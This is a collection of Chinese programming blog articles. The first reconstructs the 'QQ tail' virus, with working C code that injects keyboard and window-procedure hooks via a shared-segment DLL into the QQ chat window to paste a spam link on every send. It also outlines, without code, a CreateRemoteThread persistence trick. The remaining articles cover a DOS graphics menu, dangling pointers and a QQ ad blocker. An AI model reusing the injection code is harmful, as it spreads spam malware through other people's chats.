  下面我将要讨论的,就是QQ尾巴病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所幸的是效果基本与病毒本身一致。


粘贴尾巴


  首先的一个最简单的问题是如何添加文本。这一技术毫无秘密可言,就是通过剪贴板向QQ消息的那个RichEdit“贴”上一句话而已。代码如下:
TCHAR g_str[] = “欢迎来我的小站坐坐:http://titilima.nease.net“;
// 函数功能:向文本框中粘贴尾巴
void PasteText(HWND hRich)
{
  HGLOBAL hMem;
  LPTSTR pStr;
  // 分配内存空间
  hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
  pStr = GlobalLock(hMem);
  lstrcpy(pStr, g_str);
  GlobalUnlock(hMem);
  OpenClipboard(NULL);
  EmptyClipboard();
  // 设置剪贴板文本
  SetClipboardData(CF_TEXT, hMem);
  CloseClipboard();
  // 释放内存空间
  GlobalFree(hMem);
  // 粘贴文本
  SendMessage(hRich, WM_PASTE, 0, 0);
}


钩子


  好了,那么下面的问题是,这段文本应该在什么时候贴呢?网上有一些研究QQ尾巴实现的文章指出,可以用计时器来控制粘贴的时间,类似这个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
  PasteText(hRich);
}
  这的确是一种解决的手段,然而它也存在着极大的局限性——计时器的间隔如何设置?也许中毒者正在打字,尾巴文本“唰”的出现了……
  然而病毒本身却不是这样子,它能够准确地在你单击“发送”或按下Ctrl+Enter键的时候将文本粘贴上。2003年1月份我的一台P2曾经中过毒,由于系统速度较慢,所以可以很清楚地看见文本粘贴的时机。
  讲到这里,我所陈述的这些事实一定会让身为读者的你说:钩子!——对,就是钩子,下面我所说的正是用钩子来真实地再现“QQ尾巴病毒”的这一技术。
  首先我对钩子做一个简要的介绍,已经熟悉钩子的朋友们可以跳过这一段。所谓Win32钩子(hook)并不是铁钩船长那只人工再现的手臂,而是一段子程序,它可以用来监视、检测系统中的特定消息,并完成一些特定的功能。打个比方来说,你的程序是皇帝,Windows系统充当各省的巡抚;至于钩子,则可以算是皇上的一个钦差。譬如皇帝下旨在全国收税,然后派了一个钦差找到山西巡抚说:“皇上有旨,山西除正常赋税外,加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这种方法来特殊对待特定的巡抚一样,程序员也可以用钩子来捕获处理Windows系统中特定的消息。
  问题具体到了“QQ尾巴病毒”上边,就是我们需要一个钩子,在用户单击了“发送”按钮之后,粘贴我们的文本。我所实现的这段钩子过程为(至于如何挂接这个钩子,我会在稍后说明):
// 钩子过程,监视“发送”的命令消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  CWPSTRUCT *p = (CWPSTRUCT *)lParam;
  // 捕获“发送”按钮
  if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
    PasteText(g_hRich);
  return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我对这个回调过程说明几点:
  1、lParam是一个指向CWPSTRUCT结构的指针,这个结构的描述如下:
typedef struct {
  LPARAM lParam;
  WPARAM wParam;
  UINT message;
  HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  这时候像我一样的SDK fans也许会会心一笑:这不是窗口回调的那四个铁杆参数么?如你所说,的确是这样,你甚至可以使用switch (p->message) { /* … */ }这样的代码写成的钩子函数来全面接管QQ窗口。
  2、g_hRich是一个全局变量,它保存的是QQ消息文本框的句柄。这里之所以采用全局变量,是因为我无法从键盘钩子回调函数的参数中获得这个句柄。至于如何获得这个句柄以及这个全局变量的特殊位置,我会在稍后说明。
  3、CallNextHookEx是调用钩子链中的下一个处理过程,换了钦差就会说:“十坛杏花村酒本钦差已经替皇上收下了,现在请巡抚大人把贵省正常的赋税交上来吧。”(-_-#……)这是书写钩子函数中很重要的一个环节,如果少了这一句,那么可能会导致系统的钩子链出现错误,某些程序也会没有响应——事实上我在编写这个仿真程序的时候QQ就当掉了几回。
  4、你也许会问为什么我捕获的是WM_COMMAND消息,这个原因让我来用下面的SDK代码(虽然QQ是用MFC写的,但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系)来说明:
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调过程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  switch (Msg)
  {
  case WM_CLOSE:
    EndDialog(hDlg, 0);
    break;
  case WM_COMMAND:
    {
      switch (LOWORD(wParam))
      {
      case IDC_BTN_SENDMSG:
        // 发送消息…
        break;
      // 其它的命令按钮处理部分…
    }
  }
  break;
  // 其它的case部分…
  }
  return 0;
}
  消息发送的整个过程是:当用户单击了“发送”按钮后,这个按钮的父窗口(也就是“发送消息”的对话框)会收到一条WM_COMMAND的通知消息,其中wParam的低位字(即LOWORD(wParam))为这个按钮的ID,然后再调用代码中发送的部分,这个过程如下图:



  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多。
  好了,现在这个钩子已经可以胜利地完成任务了。但是请不要忘记:有更多的用户更偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中还需要挂上一个键盘钩子:
// 键盘钩子过程,监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  // 捕获热键消息
  if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
    PasteText(g_hRich);
  return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}

  在这里唯一要解释的一点就是lParam >= 0子句。很明显这个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢?事实上在键盘钩子的回调之中,lParam是一个很重要的参数,它包含了击键的重复次数、扫描码、扩展键标志等等的信息。其中lParam的最高位(0×80000000)则表示了当前这个键是否被按下,如果这个位正在被按下,这个位就是0,反之为1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteText,也就是说,如果去掉这个条件,PasteText将会被调用两次(连同WM_KEYUP的一次)。


挂接钩子和查找窗口


  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子,以及如何挂接?
  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线程。我的代码就是将这个窗口的句柄传入之后来进行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
  BOOL bRet = FALSE;
  if (hQQ != NULL)
  {
    DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
    // 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
    g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
    if (g_hRich == NULL)
      return FALSE;
    // 挂接钩子
    g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
    g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
    bRet = (g_hProc != NULL) && (g_hKey != NULL);
  }
  else
  {
    // 卸载钩子
    bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
    g_hProc = NULL;
    g_hKey = NULL;
    g_hRich = NULL;
  }
  return bRet;
}
  到此为止,以上所有的代码都位于一个Hook.dll的动态链接库之中,关于DLL我就不多介绍了,请查阅MSDN上的相关资料和本文的配套源代码。
  DLL之中已经做好了所有重要的工作(事实上这部分工作也只能由DLL来完成,这是由Windows虚拟内存机制决定的),我们只需要在EXE之中调用导出的SetHook函数就可以了。那么,SetHook的参数如何获得呢?请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻烦
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
  g_hQQ = FindWindowEx(NULL, g_hQQ, “#32770″, NULL);
  hSend = FindWindowEx(g_hQQ, NULL, “Button”, “发送(&S)”);
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
  SetHook(g_hQQ);
  这段代码中的do-while循环就是用来查找“发送消息”的窗口的,QQ窗口的保密性越来越强了,窗口一层套一层,找起来十分不便,所以在此感谢好友hottey的《QQ消息炸弹随想》一文省去了我反复使用Spy++的麻烦。我所做的,只是把他文中的Delphi代码翻译成了C代码。


DLL的共享数据段


  如果你对DLL不甚了解,那么在你读到我的配套源代码之后,肯定会对下面这一段代码有些疑问:
// 定义共享数据段
#pragma data_seg(“shared”)
HHOOK g_hProc = NULL; // 窗口过程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句柄
#pragma data_seg()
#pragma comment(linker, “/section:shared,rws”)
  这定义了一段共享的数据段,是的,因为我的注释已经写得很清楚了,那么共享数据段起到了什么作用呢?在回答这个问题之前,我请你把代码中以#开头的预处理指令注释掉然后重新编译这个DLL并运行,你会发现什么?
  是的,添加尾巴失败!
  好了,我来解释一下这个问题。我们的这个仿真程序的EXE、DLL以及QQ的主程序事实上是下面这样一种关系:



  这个DLL需要将一个实例映射到EXE的地址空间之中以供其调用,还需要将另一个实例映射到QQ的地址空间之中来完成挂接钩子的工作。也就是说,当钩子挂接完毕之后,整个系统的模块中,有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有任何联系的。拿全局变量g_hRich来说,图中左边的DLL通过EXE的传入获得了文本框的句柄,然而如果没有共享段的话,那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也就体现出来了,就是为了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相似。
  在钩子挂接成功之后,你可以通过一些有模块查看功能的进程管理器看一看,就会发现Hook.dll也位于QQ.exe的模块之中。


最后一些要说的


  1、我是前说过,在2003年的1月份我就碰到了这种病毒,至今我还很清楚地记得那个病毒EXE只有16KB大小,所以从病毒本身存在的性质来说,这个东西应该是用Win32ASM来写会更实用一些。
  2、那个病毒我曾经是手杀的——用了一个进程查看工具就杀掉了。但是现在的“QQ尾巴”增加了复活功能——在EXE被杀掉后,DLL会将其唤醒。我曾经用我的进程查看工具分析过,发现系统中几乎所有的进程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的进程上各插入了一个额外的复活线程,真可谓是一石二鸟——保证EXE永远运行,同时这个正在使用中的DLL是无法被删除的。这一技术我也已经实现了,但是稳定性方面远不及病毒本身做得优秀,故在此也就不将其写出了,有兴趣的朋友可以参考Jeffrey Richter《Windows核心编程》的相关章节。
  3、走笔至此想起了侯捷老师《STL源码剖析》中的一句话——“源码之前,了无秘密。”如果你看完本文之后也有这样的感觉,那么我将感到不胜荣幸。


点击下载配套源代码

原作:geoffrey(紫猫)


  初学C语言的时候,一般输入输出都是用的文本界面,几乎没有涉及到图形系统,所以当时接到这个界面这个模块的时候就比较茫然,感到无从下手。终于经过刻苦钻研,搞清楚了C的图形系统。
  为了不让后面的学弟、学妹们向我当初的那样茫然,所以把自己做的图书馆管理系统的界面放上来,以供大家参考。
由于时间问题,当时所设想的按钮的按下和弹起的立体没有做完,大家自己来丰富了。
本程序仅供参考,千万不要抄!
/*×××××××××××××××××××××××××*/
#include<time.h>
#include <process.h>
#include <stdlib.h>
#include <stdio.h>
#include <dos.h>
#include <conio.h>
#include <graphics.h>
/*#define Key_DOWN 80
#define Key_UP 72
#define Key_ESC 1
#define Key_ALT_F 33
#define Key_ALT_X 45
#define Key_ENTER 28 */
int getkey()
{
union REGS rg;
rg.h.ah=0;
int86(0×16,&rg,&rg);
return rg.h.ah;
}
void choosing(int this,int last);
void rect(int x1,int y1,int x2,int y2,int bordersize,int color1,int color2,int status);
char *m1[]={” Borrow Book”,” Return Book”,” Search Book”,” Manage of Book”,”Manage of Borrower”,” Exit”};
void main()
{time_t lt;
int i,gdrive=DETECT,gmode;
int current=1,past=0,key0,key1;
char ch;
initgraph(&gdrive,&gmode,”");
setcolor(BLACK);
setbkcolor(LIGHTGRAY);
rect(1,1,638,60,1,LIGHTGRAY,LIGHTGRAY,1);
settextstyle(3,0,5);
setcolor(BLUE);
outtextxy(15,5,”Library Manage System”);
settextstyle(1,0,9);
setcolor(YELLOW);
outtextxy(200,180,”Welcome!”);
settextstyle(0,0,1);
for(i=0;i<=5;i++)
{
rect(10,80+i*60,170,120+i*60,1,7,7,1);
outtextxy(20,95+i*60,m1[i]);
}
rect(1,430,638,460,1,BLUE,7,1);
setcolor(15);
lt=time(NULL);
outtextxy(25,440,”You enter the system at:”);
outtextxy(250,440,asctime(localtime(&lt)));
while(1)
{
key0=0;
key0=getkey();
choosing(current,past);
while(key0!=45&&key0!=28)
{
key1=getkey();
if (key1==72||key1==80)
{
past=current;
if(key1==72) current=(current==1)?6:current-1;
if(key1==80) current=(current==6)?1:current+1;
if(key1==45) exit(0);
choosing(current,past);
}
else if(key1==45) exit(0);else if ((current==6)&&key1==28) exit(0);
}
}
closegraph();
exit(0);
}
void rect(int x1,int y1,int x2,int y2,int bordersize,int color1,int color2,int status)
{
int i;
setcolor(DARKGRAY);
rectangle(x1,y1,x2,y2);
setfillstyle(SOLID_FILL,color1);
floodfill(x1+bordersize+1,y1+bordersize+1,DARKGRAY);
rectangle(x1+bordersize,y1+bordersize,x2-bordersize,y2-bordersize);
setfillstyle(SOLID_FILL,color2);
floodfill(x1+1,y1+1,8);
setcolor(WHITE);
if (status==0)
{
line(x2-bordersize,y1+bordersize,x2-bordersize,y2-bordersize);
line(x1+bordersize,y1+bordersize,x2-bordersize,y2-bordersize);
}
else
{
line(x1+bordersize,y1+bordersize,x2-bordersize,y1+bordersize);
line(x1+bordersize,y1+bordersize,x1+bordersize,y2-bordersize);
}
}
void choosing(int this,int last)
{
setcolor(WHITE);
outtextxy(20,95+(last-1)*60,m1[last-1]);
setcolor(LIGHTBLUE);
outtextxy(20,95+(this-1)*60,m1[this-1]);
}

原作:titilima(李马)


  首先请诸位看以下一段“危险”的C++代码:
  void function(void)
  {
   char *str = new char[100];
   delete[] str;
   // Do something
   strcpy(str, “Dangerous!!”);
  }
  之所以说其危险,是因为这是一段完全合乎语法的代码,编译的时候完美得一点错误也不会有,然而当运行到strcpy一句的时候,问题就会出现,因为在这之前,str的空间已经被delete掉了,所以strcpy当然不会成功。对于这种类似的情况,在林锐博士的书中有过介绍,称其为“野指针”。
  那么,诸位有没有见过安全的“野指针”呢?下面请看我的一段C++程序,灵感来自CSDN上的一次讨论。在此,我只需要C++的“类”,C++的其余一概不需要,因此我没有使用任何的C++标准库,连输出都是用printf完成的。
  #include <stdio.h>
  class CTestClass
  {
  public:
   CTestClass(void);
   int m_nInteger;
   void Function(void);
  };
  CTestClass::CTestClass(void)
  {
   m_nInteger = 0;
  }
  void CTestClass::Function(void)
  {
   printf(“This is a test function.\n”);
  }
  void main(void)
  {
   CTestClass *p = new CTestClass;
   delete p;
   p->Function();
  }
  OK,程序到此为止,诸位可以编译运行一下看看结果如何。你也许会惊异地发现:没有任何的出错信息,屏幕上竟然乖乖地出现了这么一行字符串:
  This is a test function.
  奇怪吗?不要急,还有更奇怪的呢,你可以把主函数中加上一句更不可理喻的:
  ((CTestClass*)NULL)->Function();
  这仍然没有问题!!
  我这还有呢,哈哈。现在你在主函数中这么写,倘说上一句不可理喻,那么以下可以叫做无法无天了:
  int i = 888;
  CTestClass *p2 = (CTestClass*)&i;
  p2->Function();
  你看到了什么?是的,“This is a test function.”如约而至,没有任何的错误。
  你也许要问为什么,但是在我解答你之前,请你在主函数中加入如下代码:
  printf(“%d, %d”, sizeof(CTestClass), sizeof(int));
  这时你就会看到真相了:输出结果是——得到的两个十进制数相等。对,由sizeof得到的CTestClass的大小其实就是它的成员m_nInteger的大小。亦即是说,对于CTestClass的一个实例化的对象(设为a)而言,只有a.m_nInteger是属于a这个对象的,而a.Function()却是属于CTestClass这个类的。所以以上看似危险的操作其实都是可行且无误的。
  现在你明白为什么我的“野指针”是安全的了,那么以下我所列出的,就是在什么情况下,我的“野指针”不安全:
  1、在成员函数Function中对成员变量m_nInteger进行操作;
  2、将成员函数Function声明为虚函数(virtual)。
  以上的两种情况,目的就是强迫野指针使用属于自己的东西导致不安全,比如第一种情况中操作本身的m_nInteger,第二种情况中变为虚函数的Function成为了属于对象的函数(这一点可以从sizeof看出来)。
  其实,安全的野指针在实际的程序设计中是几乎毫无用处的。我写这一篇文章,意图并不是像孔乙己一样去琢磨回字有几种写法,而是想通过这个小例子向诸位写明白C++的对象实例化本质,希望大家不但要明白what和how,更要明白why。李马二零零三年二月二十日作于自宅。


关于成员函数CTestClass::Function的补充说明


  这个函数是一个普通的成员函数,它在编译器的处理下,会成为类似如下的代码:
  void Function(const CTestClass * this) // ①
  {
   printf(“This is a test function.\n”);
  }
  那么p->Function();一句将被编译器解释为:
  Function(p);
  这就是说,普通的成员函数必须经由一个对象来调用(经由this指针激活②)。那么由上例的delete之后,p指针将会指向一个无效的地址,然而p本身是一个有效的变量,因此编译能够通过。并且在编译通过之后,由于CTestClass::Function的函数体内并未对这个传入的this指针进行任何的操作,所以在这里,“野指针”便成了一个看似安全的东西。
  然而若这样改写CTestClass::Function:
  void CTestClass::Function(void)
  {
   m_nInteger = 0;
  }
  那么它将会被编译器解释为:
  void Function(const CTestClass * this)
  {
   this->m_nInteger = 0;
  }
  你看到了,在p->Function();的时候,系统将会尝试在传入的这个无效地址中寻找m_nInteger成员并将其赋值为0,剩下的我不用说了——非法操作出现了。
  至于virtual虚函数,如果在类定义之中将CTestClass声明为虚函数:
  class CTestClass
  {
  public:
   // …
   virtual void Function(void);
  }
  那么C++在构建CTestClass类的对象模型时,将会为之分配一个虚函数表vptr(可以从sizeof看出来)。vptr是一个指针,它指向一个函数指针的数组,数组中的成员即是在CTestClass中声明的所有虚函数。在调用虚函数的时候,必须经由这个vptr,这也就是为什么虚函数较之普通成员函数要消耗一些成本的缘故。以本例而言,p->Function();一句将被编译器解释为:
  (*p->vptr[1])(p); // 调用vptr表中索引号为1的函数(即Function)③
  上面的代码已经说明了,如果p指向一个无效的地址,那么必然会有非法操作。
备注:
  ①关于函数的命名,我采用了原名而没有变化。事实上编译器为了避免函数重载造成的重名情况,会对函数的名字进行处理,使之成为独一无二的名称。
  ②将成员函数声明为static,可以使成员函数不经由this指针便可调用。
  ③vptr表中,索引号0为类的type_info。

原作:titilima(李马)


  国庆七天,呆在家中上网聊天实在不是一件惬意的事:每一天打开QQ,迎接我的都是一串一串的广告……国庆黄金周,连广告也不放过!:(
  无奈,打开Visual C++,开始了我的“反骚扰”之路。
  首先我面对的问题是:QQ一共有几种广告,我能用什么方法消灭它们?
  前半个问题很好回答,相信所有常Q的朋友都知道。QQ的广告有三种:第一种是在系统消息中的弹出式Flash广告,第二种是直接弹出的Flash广告(窗体非常花哨),第三种是以系统广播形式出现的文字式广告。
  对于后半个问题,我给出的答案是:在广告对应的窗体上,都有相应的按钮可以将其关闭,点击即可。
  不是吧,就这么简单?也许你要这么问。
  是的,不过我是说,让我的“QQ反骚扰”帮助我点击这些按钮。即在取得这些按钮的句柄后,向该按钮发送一个单击消息,如下代码所示:
  SendMessage(hButton, BM_CLICK, 0, 0);
  也许会有朋友问,为什么不直接将对话框消灭掉,即:
  EndDialog(hDialog, TRUE);
  问得好!具体原因是……呵呵,我也不知道:)但我能告诉你的是,你可以将我的代码换成上面那一句,效果可能不会很理想的,因为我试过。另外,有很多的共享软件点击器之所以叫“点击器”就是这个道理。单单消灭这个窗口,很可能由该窗口占用的一些系统资源就会流失,相比之下,还是使用点击的方法,让对话框自己调用它回调函数中的退出部分来消灭对话框,岂不是更加安全?
  还有一个问题:什么时候让它去点击呢?或者说,它怎么知道什么时候去点击呢?
  我的答案是:时刻监视。
  是了,这就是我在软件的Readme.txt中所说的“计时器技术”了。很简单,只需在对话框的初始化中加入如下代码:
  SetTimer(hDlg, 1, 100, NULL);
  第一个参数是需要设置计时器的对话框句柄,使用MFC的朋友可以省略这个参数;第二个参数是计时器的ID;第三个是计时器事件的触发时间间隔(以微妙为单位);第四个参数可以指定响应事件的回调函数,这里用不着,为NULL。
  这样,便可以实现初步的功能——时刻监视了。但是在最后处理程序退出部分的代码时,一定要将先前创建的计时器销毁,即:
  KillTimer(hDlg, 1);
  因为计时器是一个耗费系统资源的东西,所以在程序结束的时候,必须销毁它已释放系统资源。
  下面我来开始介绍如何来在内存中寻找QQ的三种广告窗口。以下的代码我均摘自“QQ反骚扰”的SDK源代码,请使用MFC的朋友们自行做出相应的改动。
  在内存中有很多窗口,那么“QQ反骚扰”又是如何知道哪一个窗口是QQ的广告窗口呢?很简单,从窗口所具备的众多特征中取出两到三个来作为“过滤器”即可。比如对于系统消息的弹出式广告,它的“过滤器”就是它的标题——“腾讯QQ系统广播”和它的“关闭”按钮。
  这样,在处理计时器事件时的代码如下:
  HWND hWndCap, hBtnClose1; // 窗口句柄和“关闭”按钮句柄
  hWndCap = FindWindow(NULL, “腾讯QQ系统广播”); // 查找窗口
  if (hWndCap != NULL) // 如果窗口存在
  {
   hBtnClose1 = FindWindowEx(hWndCap, NULL, “Button”, “关闭”); // 继续过滤,找“关闭”按钮
   if (hBtnClose1 != NULL) // 如果这个按钮也存在,则基本可以确定是QQ的广告了
   {
    EnableWindow(hBtnClose1, TRUE); // 将按钮生效
    SendMessage(hBtnClose1, BM_CLICK, 0, 0); // 发送单击消息
   }
  }
  在此我要说明一下将按钮生效的那行代码。QQ的早期版本中(譬如我目前在家使用的版本),Flash广告是必须得看完一遍后,“关闭”按钮才会生效,所以我必须在找到后立即使它生效以关闭窗口。当然,对于较新版本的QQ来说,完全可以去掉这一行。
  对于自动弹出的Flash广告,就没有上面的那个那么容易了。因为它采用的是图形界面,从外表看是得不到我所谓的“过滤器”的,这就需要其它软件的帮助了。我使用的软件是我写的“对话框查看器”测试版v2.SVTF.00(有兴趣的朋友可以mail我titilima@163.com索取这个软件),这是一个能够即时获取窗口标题、窗口ID和窗口类名的工具。我在它的帮助下得到了这种广告的“关闭”按钮的标题——“CLOSE”。于是我的代码如下:
  HWND hWndNo, hBtnClose2;
  hWndNo = FindWindowEx(NULL, NULL, “#32770″, “”); // #32770是对话框的类名
  do //在找到的无标题对话框中反复查找“CLOSE”这个按钮
  {
   hBtnClose2 = FindWindowEx(hWndNo, NULL, “Button”, “CLOSE”);
   if (hBtnClose2 != NULL)
    break; // 若找到按钮则跳出循环
   hWndNo = FindWindowEx(NULL, hWndNo, “#32770″, “”); // 否则继续查找无标题窗口
  } while (hWndNo != NULL);
  if (hBtnClose2 != NULL)
  {
   EnableWindow(hBtnClose2, TRUE); // 同上,若不需要请将此行自行删除
   SendMessage(hBtnClose2, BM_CLICK, 0, 0);
  }
  就这样,这个广告也被我征服了。其实最困扰我的是第三种广告——QQ号为10000的广告。我之所以把它称为“QQ号为10000的广告”,就是因为我的“过滤器”就是“10000”。这种广告和“用户????????将你列入好友名单”的系统信息是一样的,所以一不小心就会将重要的信息过滤掉。于是我选中了“10000”作为我的过滤器。
起先我从对话框的外观上判断,写有用户QQ号的控件是一个只读(ES_READONLY)的编辑框(Edit),后来我如法炮制代码并编译运行,发现无效!于是“QQ反骚扰”的版本号定为1.SVOF.02,共能消除两种的QQ广告。于是我似乎消沉了。不过偶然的一天,在我使用eXeScope研究另一个软件的时候,我才突然想出了用eXeScope这位专家来研究一下QQ的主程序的办法,然而能否成功,我心里没底。
  我打开QQ的主程序,找到那个对话框,发现有很多的Static(静态文本,Delphi及C++ Builder中的Label)!我的天,我怎么没有想到那是改变了风格的Static呢?于是乎三下五除二,我的最后一段代码也问世了:
  HWND hWndYw, hBtnClose3, hEdit;
  hWndYw = FindWindow(NULL,”系统消息”);
  if (hWndYw != NULL)
  {
   hBtnClose3 = FindWindowEx(hWndYw, NULL, “Button”, “返回”);
   hEdit = FindWindowEx(hWndYw, NULL, “Static”, “10000″);
   if (hEdit != NULL && hBtnClose3 != NULL)
   SendMessage(hBtnClose3, BM_CLICK, 0, 0);
  }
  你可以看到,在我的代码中,标识那个Static的句柄依然叫hEdit,那是因为我先前的判断失误。
“QQ反骚扰”v1.SVOF.12的核心代码就讲到这里了,不过还有一点,就是我的“QQ反骚扰”中存在着一个不大不小的Bug。大家注意到了吗?第三段代码中,如果碰到标题是10000的静态文本,就向“返回”按钮发送单击消息。这也就意味着如果一个昵称是10000的网友加你为好友,那么他的这条系统信息同样有可能被过滤掉。解决的办法是判断“加为好友”按钮的风格是否为可见(WS_VISIBLE),若为不可见,则可以向“返回”按钮发送单击消息了。但是由于我个人时间的问题,这段代码还没有来得及实现,就交给大家了,呵呵。
  欢迎与我交流:titilima@163.com。另外,你也可以通过这个信箱向我索要“QQ反骚扰”的最新版本。


后记:和“反骚扰”说再见


  “QQ反骚扰”是我的VC SDK处女作,我从去年10月份开始写这个软件,之后又经历了很多次升级,到这个“最终版本”——v1.37为止,我终于决定停手了。
  原因很简单,QQ的版本不断升级,广告的花样也越来越多,这就决定了我不得不一次次地升级这个软件。而现在网上关于“反骚扰”的技巧又有很多,所以我觉得我这么做就有点多此一举了。既然我的目的——学习——达到了,那么再“升级”下去也就失去意义了。
  我仍然感谢很多网友,感谢他们对我的信任和对我的关心。我无以回报,决定将这个处女作的源代码倾囊相授,而不再是“核心代码演示版”。是前我的代码是用C++写成的,主要包括了我封装的CheckBox类,现在看来那个类十分丑陋,唯恐给诸位带来误导的副作用,于是我花了一些时间,将它用纯C重写了一遍,希望能够满足和我一样的初学者的需要。顺便说一句,这个v1.37几乎对QQ2003无能为力。还有,Visual Studio中自带的工具Spy++比我的“对话框查看器”功能要强得多。
  OK,那么再见了,我的“QQ反骚扰”。